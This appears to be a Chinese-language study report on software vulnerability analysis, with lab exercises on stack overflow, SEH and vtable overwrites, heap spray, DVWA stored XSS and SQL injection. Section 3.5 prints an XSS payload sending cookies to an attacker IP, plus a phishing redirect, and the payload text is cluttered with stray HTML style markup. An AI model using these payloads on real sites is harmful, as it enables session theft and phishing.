1. 软件漏洞分析简述

1.1 漏洞的定义

漏洞,也叫脆弱性(英语:Vulnerability),是指计算机系统安全方面的缺陷,使得系统或其应用数据的保密性、完整性、可用性、访问控制等面临威胁。

1.1.1 漏洞在各时间阶段的名称

根据是否公开分为:未公开漏洞、已公开漏洞

根据漏洞是否发现分为:未知漏洞、已知漏洞

根据补丁和利用价值是否发布分为:0day漏洞、1day漏洞、历史漏洞

1.2 漏洞的特点

  1. 持久性和时效性
持久性:随着时间的迁移,旧的漏洞会不断消失,新的漏洞会不断出现
时效性:当超过一定的时间限制,漏洞的威胁就会逐渐减少直至消失
  1. 可利用性和隐藏性
可利用性:攻击者能够利用漏洞对系统带来威胁和损失
隐蔽性:往往需要通过特殊的漏洞分析手段才能够发现
  1. 广泛性和具体性
广泛性:会影响到很大范围的软硬件设备
具体性:存在于具体的环境或者条件中

1.3 漏洞的影响

  1. 可以引发恶性的Web攻击事件,从而使得公民的权益受到伤害。例如:2011年12月21日,中国最大的程序员社区网站CSDN被爆出有超过600万用户的注册资料,尤其是用户口令遭泄露。
  2. 可以引发传播广泛的计算机病毒。随着互联网技术的发展,攻击者可以借助某个软件漏洞肆意传播恶意的病毒和文件。如在尼姆达,蓝宝石,冲击波和震荡波等事件中,攻击者利用现有的漏洞传播漏洞,给社会造成巨大损失。
  3. 可以引发后果严重的系统故障。如1962年,发射往金星的水手一号探测器在发射 293
  4. 秒后偏离了预定轨道。它的任务在 5
  5. 个星期后由成功发射的水手二号完成。这次失败的原因是一个程序员将某个公式转换成了计算机代码转错了,漏了一个下标。这个下标原本是半径
  6. R 的第 N
  7. 次平滑时间导数值。由于缺少数据光滑化处理功能,制导系统把正常速度当成错误处理,并造成了修正不精确,最终探测器偏离航向的。
  8. 利用软件漏洞可以实现高级的可持续攻击。攻击者联合多个0day漏洞对重要的信息系统发起长时间攻击,如震网,火焰等病毒。

1.4 软件漏洞必然存在的原因

  1. 1. 由于计算机基于冯诺依曼体系结构,所以决定了漏洞存在的必然性。
  2. 2. 作为互联网基础的TCP/IP协议栈在设计之初主要源于互联互通和开放性。
  3. 3. 新技术的出现增加了互联网的复杂性,增大了漏洞产生的概率。
  4. 4. 软件开发的各个环节都是人为参与的,缺乏经验或者疏忽等都可能引发漏洞。

2. 软件漏洞分析技术概述

随着社会经济的发展,互联网也随之迅速的发展,软件已经充斥在我们生活的方方面面,为我们提供便利的同时也带来了安全隐患,因此软件漏洞分析技术的重要性不言而喻。软件漏洞分析技术主要分为:软件架构安全分析技术、源代码漏洞分析技术、二进制漏洞分析技术和运行系统漏洞分析技术四大类。图2.1说明各技术之间的关系。

2.1 软件架构安全分析

软件架构是软件的“骨架”,是软件开发生命周期中代码编写的基础。在此阶段进行软件漏洞的分析具有指导性的意义,能够及时发现有问题的部分并进行修正,可以减少后期的维护和产生的危害。图2.2是软件架构安全分析的基本原理。


目前,关于软件架构安全分析技术在国内外还处于探索和发展阶段,已形成的技术主要分为:形式化分析和工程化分析,具体如2.3。

2.2 源代码漏洞分析

源代码漏洞分析主要是对高级语言编写的程序进行分析以发现漏洞。源代码作为软件的最初原型,其中的安全缺陷可能直接导致软件漏洞分产生,因此源代码漏洞分析显得尤为重要。目前源代码漏洞分析主要采用静态分析的方法,由于该方法不受程序的输入和运行环境等因素的影响,所以可能发现动态分析难以发现的软件漏洞。源代码漏洞分析一般包含源代码的模型提取,对历史漏洞、程序代码进行特征提取,静态的漏洞分析和结果分析等四个步骤,通过这四个步骤完成对源代码的漏洞分析,结构图如图2.4所示。

2.3 二进制漏洞分析技术

尽管源代码漏洞分析技术具有分析范围广,能够发现一些发现动态分析难以发现的软件漏洞等特点,但是实际应用中很多应用软件都是以二进制代码的形式(如库文件)的形式存在的,所以对二进制漏洞分析技术的研究具有很强的实际意义。

其分析对象是源代码编译后生成的二进制代码,其中的主要技术环节包括:反汇编逆向分析、中间表示、漏洞建模、汇编代码结构化、污点分析/动态数据流分析、符号执行/控制流执行等,其一般原理如图2.5所示。

二进制漏洞分析技术种类繁多,从程序是否运行的角度可以分为:静态分析技术和动态分析技术;从操作的自动化角度可以分为手动分析和自动/半自动分析。本次汇报的介绍主要针对程序是否运行的角度进行实验,从此角度出发我们将二进制漏洞分析技术分为:静态分析、动态分析和动静态结合分析,实验中以动态分析为主,静态分析为辅进行漏洞的分析。

2.4 运行系统漏洞分析

系统是多种软件或者模块的有机整体,因此运行系统漏洞分析技术相对于单个软件的漏洞分析变现出:更加复杂,分析难度更大等特点。目前,漏洞分析人员通过信息搜集、漏洞检测和漏洞确认三个步骤对运行的系统进行漏洞分析,其过程如图2.6所示。

2.5 技术总结

软件漏洞分析技术多种多样,需要针对软件的来源,漏洞的类型,分析人员的擅长等因素进行选择。在汇报的实验中,由于都是针对某个漏洞类型进行验证,没有涉及到软件架构和系统等概念,故实验中主要利用二进制漏洞分析技术中的静态分析、动态分析和动静结合的分析技术。针对动态分析技术,所使用的软件有:OllyDbg和Windbg,选择Windbg有个特点,即其对于Windows自带原生的软件更加适用;针对静态分析技术,所使用的软件为IDA

Pro。各个软件的特点和图标如表2所示,对用的图标如3.7所示。


3 主要的漏洞攻击技术

正所谓:知己知彼百战百胜,只有具备犯罪能力的人才能洞察他人的犯罪行为。做为一个白帽子的安全人员,需要对黑帽子(攻击者)所使用的攻击技术进行学习,才能以攻击者的角度对软件或者系统等进行漏洞的挖掘、分析和修复。本部分主要介绍现实中一些主要的漏洞攻击技术,包括:栈溢出、堆溢出、S.E.H的利用、攻击C++的虚函数、Heap Spray、XSS(Cross Site Script)、sql注入等。

3.1 栈溢出

3.1.1 栈简介

栈,即堆栈,是一种具有一定规则的数据结构,它按照先进后出的原则存储数据,先进入的数据被压入栈底,最后的数据在栈顶。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

堆栈数据结构的两种基本操作:

  • PUSH:将数据压入栈顶
  • POP :将栈顶数据弹出

3.1.2 栈溢出利用

本次实验采用函数调用的形式,此时会为被调用的函数开辟一个临时的栈空间,然后在被调用函数中创建一个buffer缓冲区用于栈溢出(即当覆盖缓冲区大小超过buffer的大小时则会破坏外面的存储空间),其原理如图3.1所示。

实验代码(如图3.2所示)主要实现密码的字符串匹配,代码本身逻辑没有错,但缺少了对字符串长度的判断,故当密码长度过长的时候保存在buffer缓冲区中会溢出,导致可能出现代码本身之外的执行流程。实验时我们使用特点的密码字符串(包含可执行代码、填充和有效的返回地址),在程序执行过程中将该字符串复制到buffer中,通过进行设计使得返回地址置为buffer的起始地址,因此

verify_password函数返回时会跳转到buffer的起始地址去执行,即改变了程序原本的执行流程,使得我们设计的机器代码(实验选择一个简单的弹出消息框代码)能够得到执行,执行效果如图3.3所示。

图3.2 栈溢出利用代码

图3.3 栈溢出漏洞利用效果

3.2 S.E.H的利用

3.2.1 S.E.H简介

S.E.H即异常处理结构体(Structure Exception Handler),它是Windows异常处理机制所采用的重要数据结构。每个S.E.H都包含两个DOWRD(双字,即4个字节):S.E.H链表指针和异常处理函数句柄,共8字节,如图3.4所示。

S.E.H结构通常存放于系统栈中,一般包含多个,最终形成链表的结构,如图3.5所示。

图3.4 S.E.H结构

图3.5 多个S.E.H构成链表的结构

3.2.2 S.E.H的利用

实验代码(如图3.6所示)使用之前介绍的栈溢出的方式进行S.E.H的利用,但有所区别,在于这里覆盖的不是返回地址而是异常处理结构体指针。代码首先声明了一个异常处理方法MyExceptionhandler,代码从主函数(main)调用test函数,在test函数中引发了一个除0异常并且为异常设置了异常处理的方法MyExceptionhandler,在程序正常执行过程中将会打印got an exception,press Enter to kill process!但是我们还是使用超长字符串复制到test函数的buf中,通过设置我们的字符串长度,精准覆盖我们的S.E.H指针,覆盖位置如图3.7所示,实验中将其覆盖为buf起始地址0x0012fe98,于是当发生异常的时候程序将会跳转到buf起始地址去执行,执行代码同栈溢出实验,即弹出消息框,效果同上。

图3.6 S.E.H利用代码

图3.7 覆盖位置示意图

3.3 攻击C++虚函数

3.3.1 虚函数简介

C++类的成员函数在声明时,若使用virtual进行修饰则被称为虚函数,一个类中可能有多个虚函数,但虚函数的入口都被保存在虚表指针中,其虚表指针存放在对象的内存空间中,且紧接着是其他成员变量,其结构如图3.8所示。

3.3.2 攻击C++虚函数

实验代码(如图3.9所示)同样使用栈溢出的方式进行利用,这里的区别在于覆盖的是虚表指针。通过虚函数的结构知道虚表指针位于其他成员变量前4字节处,故我们通过buf的指针地址-4即为虚表指针(p_vtable)地址,首先将虚表指针覆盖为我们即将复制字符串的后4个字节的起始地址0x004088CC,然后将该4个字节覆盖为buf的起始地址0x0040881C,该过程实现了:当程序调用虚函数时会去查找我们覆盖的虚变指针(此时指向复制字符串的后4字节处0x004088CC),然后去该4字节处查找虚函数(此时指向buf起始地址0x0040881C),因此我们设计的机器代码得到了执行,其覆盖效果示意图如图3.10所示,其执行效果同上。

图3.9 虚函数利用代码

图3.10 覆盖效果示意图

3.4 Heap Spray简介

针对浏览器的攻击中,常常结合使用堆和栈协同利用漏洞。在页面中,我们通过JavaScript可以申请堆内存,这使得我们可以把需要执行的代码布置到JavaScript申请到的堆块中。

在使用HeapSpray的时候,一般将EIP(指令寄存器)指向0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等几个地址(其由先人实验得出),然后通过JavaScript申请大量内存,内存中包括我们需要执行的代码。该技术的利用示意图如图3.11所示。由于此攻击技术主要配合浏览器漏洞实现,故此处没有进行进一步的实验。

图3.11 Heap Spray利用示意图

3.5 XSS攻击

3.5.1 XSS简介

XSS(Cross Site Script),全称跨站脚本攻击。XSS 攻击,通常指黑客通过 HTML

注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击行为。于是,我们就可以从存在XSS漏洞的网站中,盗取用户Cookie、黑掉页面、导航到恶意网站等操作。

XSS漏洞出现原因在于网站服务器端没有对用户的输入进行有效的过滤,使得其直接展示在页面上,其主要发生在留言板、个人信息页面等。

3.5.2 利用XSS获取用户的Cookie

由于该漏洞发生在Web应用程序中,故实验之前需要搭建一个网站用于测试。根据网上现成的靶场DVWA(即开发完成的存在漏洞的Web应用程序)进行下载搭建,减少了自己开发Web应用程序的过程,而可以将注意力集中在漏洞的学习利用上。

实验时我们测试典型的存储型XSS(即该输入的脚本会存到数据库中,当下一次访问时将会从数据库读取并再次显示在页面上)。使用的攻击脚本为:alert(document.cookie);new Image().<span style="color: rgb(77, 77, 77);font-family: -apple-system, "SF UI Text", Arial, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">src=“http://192.168.25.1/log?”+escape(document.cookie);,其中包括两部分脚本,首先是alert脚本,该脚本将访问该页面的用户的Cookie弹出;再者是new Image().src脚本,该脚本在访问时会向src指定的地址发送http请求,此时我们(在此作为攻击者,ip地址为192.168.25.1)搭建一个用于记录用户访问存在XSS漏洞的网页时发送的用户Cookie,通过两部分的Cookie进行对比,验证实验是否成功。实验中我们将攻击脚本存放在个人信息的输入中,界面如图3.12所示,点击Sign Guestbook则会把输入的数据显示在下方,当访问该页面时则会触发我们输入的两部分脚本,各部分触发效果图如图3.13-3.14所示。

图 3.12 用于测试XSS的界面

图3.13 alert脚本触发效果图

图3.14接收用户发送的Cookie

对比弹出消息框于接收的Cookie可能发现类似,但不太一样,出现该原因是web应用程序会将请求中的一些字符进行URL编码,将其进行解码得到相同的数据,成功窃取用户的Cookie。在实际攻击中,应该删除alert脚本,那么用户在访问漏洞页面时并不会察觉到自己的Cookie已经泄露,使得用户不会察觉出异常而对账号密码进行修改等操作。

3.5.3 利用XSS重定向攻击者搭建的钓鱼网站

在本次实验中我们使用的攻击脚本为:window.location=“<span style="color: rgb(77, 77, 77);font-family: -apple-system, "SF UI Text", Arial, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">http://192.168.25.1/dvwa/vulnerabilities/xss_s/”,其中window.location用于重定向操作,192.168.25.1为攻击者设计的跟用户访问网站相似的钓鱼网站ip。本次实验和利用XSS获取用户的Cookie实验类型,都将脚本存在用户信息中,当再次访问该页面则触发脚本,重定向到攻击者设计的钓鱼网站,效果如图3.15所示,即让用户输入账号密码,当用户上当输入账号密码之后,攻击者则成功获取了用户的信息。

图3.15钓鱼网站登录页面

3.6 SQL注入

3.6.1 SQL注入简介

SQL注入的基本原理在于利用程序对用户输入数据的检查不足或程序自身对变量的处理不足,把额外的SQL语句附加到中间层往后台数据库提交的语句中,轻则可以获取敏感信息,重则可以控制服务器。在SQL注入攻击中,入侵者通常将未经授权的数据库语句插入或注入有漏洞的SQL数据信道中,通常情况下攻击所针对的数据信道通常包括存储过程和web应用程序的输入参数,然后这些语句被传递到数据库中执行,这样攻击者就可以不受限制的访问整个数据库。

其同XSS一样发生在Web应用程序中,该拓扑结构如图3.16所示,攻击者在表示层(即网页)利用漏洞进行SQL注入,从而获取超过本身能获取的信息或者控制权等。

图3.16 Web应用程序拓扑图

3.6.2 SQL注入利用

本次实验分析的测试用例和方法主要针对MySQL,不同数据库测试方法有一些差异,但大同小异。这里假设demo为查询所要提交的值,首先通过

的方式试探脚本中共有几个变量接收数据。当返回页面没有出现错误时,证明变量的数量正好,观察页面中显示出来的数字,可以确定出能够用于显示结果的变量位置。

在试探出接收数据的变量个数后,我们可以使用一些攻击用例进行攻击,在表3中列出以一些主要的SQL注入攻击测试用例和说明。


使用or 1=1进行全查,其效果图如图3.17所示。

图3.17 使用or进行SQL注入利用效果图

4 软件漏洞的发展趋势

近几年,随着信息化的快速发展,对于软件漏洞分析技术和漏洞利用技术已经趋向于成熟化,很多黑客也利用这些技术进行攻击,正因为如此,极大地推进了软件漏洞领域的发展,如微软在Windows增加的GS、SafeSEH、DEP、ASLR、SEHOP等安全机制,使得原有的软件漏洞利用技术更加困难,从而大大提高了Windows的安全性。

下面,我们将分析软件漏洞面临的主要挑战。

4.1 移动终端漏洞

现在移动设备随处可见,以智能手机为主的移动终端也逐渐被黑客所关注。随着移动设备的普及,针对移动设备的漏洞和病毒迅速增加,最受影响的移动设备主要为Android和IOS。除了移动设备本身的操作系统外,安装在系统上的其他应用程序也可能引发漏洞。

这里根据CVE漏洞库(Common Vulnerabilities and Exposures),绘制出Android系统漏洞和IOS系统漏洞的2009-2015年每年漏洞数量统计图,如图4.1-4.2所示。

图4.1 CVE漏洞库Android统计图

图4.2 CVE漏洞库IOS统计图

对于Android操作系统,由于其系统的开放性,除了系统本身存在的一些漏洞之外,其允许第三方应用程序随意安装在该系统上,这使得黑客可以对第三方应用程序进行漏洞挖掘并对漏洞进行利用,从而大大增大了Android移动设备的风险。

对于IOS操作系统,由于其系统的封闭性和自身的安全性,使得漏洞攻击门槛比Android高很多,所以针对IOS平台的漏洞,在黑市中的价格非常高。如IOS越狱,在越狱中使用的漏洞是非常有价值的,一个越狱漏洞可能卖到50多万美元。

综上,移动终端除了要提高操作系统本身的安全性之外,还需要对第三方软件、插件等进行严格的检查测试才能放上应用商城,若系统或者应用程序出现漏洞,应该强制用户进行升级,减少用户被攻击的风险。

4.2 云计算平台漏洞

近些年来,云计算平台可以让用户将自己的程序在云上进行运行,同时享受云所提供的服务和资源,节约了用户的软硬件成本,这使得云计算平台越来越流行。国内的云平台主要有阿里云、腾讯云、新浪SAE、百度云、盛大云等,国外的有Google、GAE、亚马逊AWS、微软Azure等。

从云计算平台构建结构来分,可以分为如图4.3所示的结构。

图4.3 云计算平台结构图

  • SaaS(软件即服务):为消费者提供应用软件。
  • PaaS(平台即服务):为消费者提供系统平台,比如Windows、Linux等操作系统,以及相应的管理支撑软件、开发工具、安全系统等。
  • IaaS(基础设施即服务):为消费者提供服务器、存储设备、网络通信设备,以及其他IT基础设施资源。

从整体的角度进行分析,如果黑客要攻击云平台,那么其最终的目的一般都是为了拿到底层数据中心里的存储数据,因此云安全的本质其实就是数据安全

4.3 物联网漏洞

物联网(Internet of things,简称IoT),即将物体接入互联网,使得人和物可以进行交互,从而使得人能够对物进行智能化的管理,比如智能门锁,智能摄像头、智能插座等等,如图4.4所示。

由于智能设备刚刚起步不久,业界对智能设备安全的经验不足,加上业界缺乏统一技术标准,导致一些隐患的存在。下面则是一些例子:

  • 对智能门锁进行破解后,就可能被入室盗窃,直接危害个人财产安全;
  • 若pos机子存在被劫持盗刷的漏洞,攻击者可以无需密码和银行卡的情况下直接盗取银行卡上的钱;
  • 对智能摄像头的漏洞进行利用,可以篡改监控视频、对视频内容进行获取等,如图4.5所示。

如有侵权,请联系删除